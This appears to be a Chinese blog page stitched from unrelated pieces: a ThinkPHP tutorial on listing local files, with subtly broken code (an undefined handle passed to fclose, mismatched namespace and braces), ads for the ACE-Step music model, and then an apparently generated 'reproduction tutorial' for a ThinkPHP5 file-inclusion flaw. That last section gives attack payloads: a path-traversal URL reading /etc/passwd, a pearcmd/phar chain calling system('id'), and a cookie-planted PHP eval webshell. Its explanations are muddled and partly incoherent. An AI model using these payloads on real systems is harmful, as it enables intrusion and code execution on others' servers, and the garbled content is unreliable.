ThinkPHP读取本地文件信息(包括中文路径)

本文介绍了一个ThinkPHP项目的具体实现方法,通过自定义控制器来获取指定目录下的所有文件及其详细信息,包括文件路径、文件名、大小、最后访问及修改时间等,并展示了如何在其他控制器中调用这些方法。
ACE-Step

ACE-Step

音乐合成
ACE-Step

ACE-Step是由中国团队阶跃星辰(StepFun)与ACE Studio联手打造的开源音乐生成模型。 它拥有3.5B参数量,支持快速高质量生成、强可控性和易于拓展的特点。 最厉害的是,它可以生成多种语言的歌曲,包括但不限于中文、英文、日文等19种语言

1.获取文件信息的控制器方法

<?php
namespace Home\Controller;
use Think\Controller;
class ReadFileController extends Controller{
    /**
     * 获取所有文件
     */
    public function get_allfiles($path,&$files) {  
        if(is_dir($path)){  
            $dp = dir($path);

            while ($file = $dp->read()){  
                if($file !="." && $file !=".."){  
                    $this->get_allfiles($path."/".$file, $files); 
                }  
            }  
            $dp ->close();  
        }  
        if(is_file($path)){  
            $files[] = $path;  
        }  
    }  

    /**
     * 获取所有文件的文件名称
     */  
    public function get_filenamesbydir($dir){  
        $files = array();
        $this->get_allfiles($dir,$files);
        return $files;  
    }
}
?>

2.其他控制器调用方法

<?php
namespace Home\Controller;
use Think\Controller;
class DownloadController extends CommonController {
    /**
     * 获取上传的文件 并且将数据保存到数据库
     */
    public function fileUploadToSave(){

        $file = new \Admin\Controller\ReadFileController();

        $filenames = $file->get_filenamesbydir("./Software");  

        //打印所有文件名,包括路径  
        foreach ($filenames as $value) {
            //中文路径的识别
            $value = iconv("gbk","utf-8",$value); 
            $handle = fopen($value,"r");
            //获取文件的统计信息
            $fstat = fstat($handle);

            echo "更新问的文件信息如下:"."</br>"."</br>";
            echo "文件路径:".$value."</br>";
            echo "文件名:".$this->get_basename($value)."<br>";
            echo "文件大小:".round($fstat["size"]/(1024*1024),2)."Mb<br>";
            echo "最后访问时间:".date("Y-m-d h:i:s",$fstat["atime"])."<br>";
            echo "最后修改时间:".date("Y-m-d h:i:s",$fstat["mtime"])."<br>"."<br>";
            }
            fclose();  
        }
    }
    /**
     * 获取文件名称
     */
    public function get_basename($filename){  
        return preg_replace('/^.+[\\\\\\/]/', '', $filename);  
    }

ThinkPHP项目地址

https://github.com/hirCodd/thinkPHP-Web-Application

您可能感兴趣的与本文相关的镜像

ACE-Step

ACE-Step

音乐合成
ACE-Step

ACE-Step是由中国团队阶跃星辰(StepFun)与ACE Studio联手打造的开源音乐生成模型。 它拥有3.5B参数量,支持快速高质量生成、强可控性和易于拓展的特点。 最厉害的是,它可以生成多种语言的歌曲,包括但不限于中文、英文、日文等19种语言

### ThinkPHP5 文件包含漏洞复现教程 #### 背景介绍 ThinkPHP 是一款流行的 PHP 开源框架,广泛应用于 Web 应用开发。然而,在某些特定条件下,该框架可能存在严重的安全漏洞。例如,当启用多语言功能或模板引擎未正确处理输入时,可能导致文件包含漏洞甚至远程代码执行 (RCE)[^1]。 受影响的版本包括但不限于以下范围: - **ThinkPHP 5.x 版本**[^2] 以下是针对此漏洞的安全测试方法: --- #### 配置环境准备 为了成功复现漏洞,需搭建一个易受攻击的 ThinkPHP 环境。具体操作如下: 1. 下载并安装目标版本的 ThinkPHP 框架。 2. 修改配置文件 `/application/config.php` 中的相关参数以激活多语言支持: ```php 'lang_switch_on' => true, ``` 此设置允许通过 URL 参数切换语言文件[^3]。 --- #### 利用过程详解 ##### 1. 构造恶意请求触发文件包含 利用 `lang` 参数传递特殊路径字符串来访问任意本地文件。例如: ``` http://localhost/index.php?s=index/think\..\think/library/driver/view/Php.php&lang=../../../../../../etc/passwd%00 ``` 上述 URL 尝试读取系统的 `/etc/passwd` 文件作为伪翻译资源加载到应用中。 ##### 2. 实现 RCE 的关键点—— pearcmd 巧妙运用 进一步深入挖掘发现,如果能够控制被引入的内容,则可注入恶意脚本完成命令执行。这里借助默认存在的 `pearcmd` 功能达成目的: ``` ?file=phar://./vendor/composer/autoload_files.php/a.php&filter[]=system&content=id ``` 这条链路最终会调用 system 函数运行 id 命令[^4]。 ##### 3. Session 文件写入与提权尝试 除了直接嵌套外部实体外,还可以操控 session 数据存储机制生成自定义 php shell 。按照惯例,session ID 存储于浏览器 cookies 内部;因此只需伪造相应字段即可指定保存位置以及内容格式化方式为期望形式: ``` Cookie: PHPSESSID=test; sess_test=<?php @eval($_POST['c']);?> ``` 随后再次发送 GET 请求至服务器端口监听处等待交互响应[^5]。 --- #### 编码实践建议 尽管以上演示展示了潜在风险所在之处,但在实际项目部署过程中应当采取有效措施规避此类隐患发生概率最大化降低危害程度比如加强输入验证逻辑或者关闭不必要的扩展特性等等。 ```bash # 示例防御手段之一:严格校验所有动态传参合法性 if (!preg_match('/^[a-zA-Z0-9_-]+$/', $_GET['param'])) { die('Invalid input'); } ``` ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值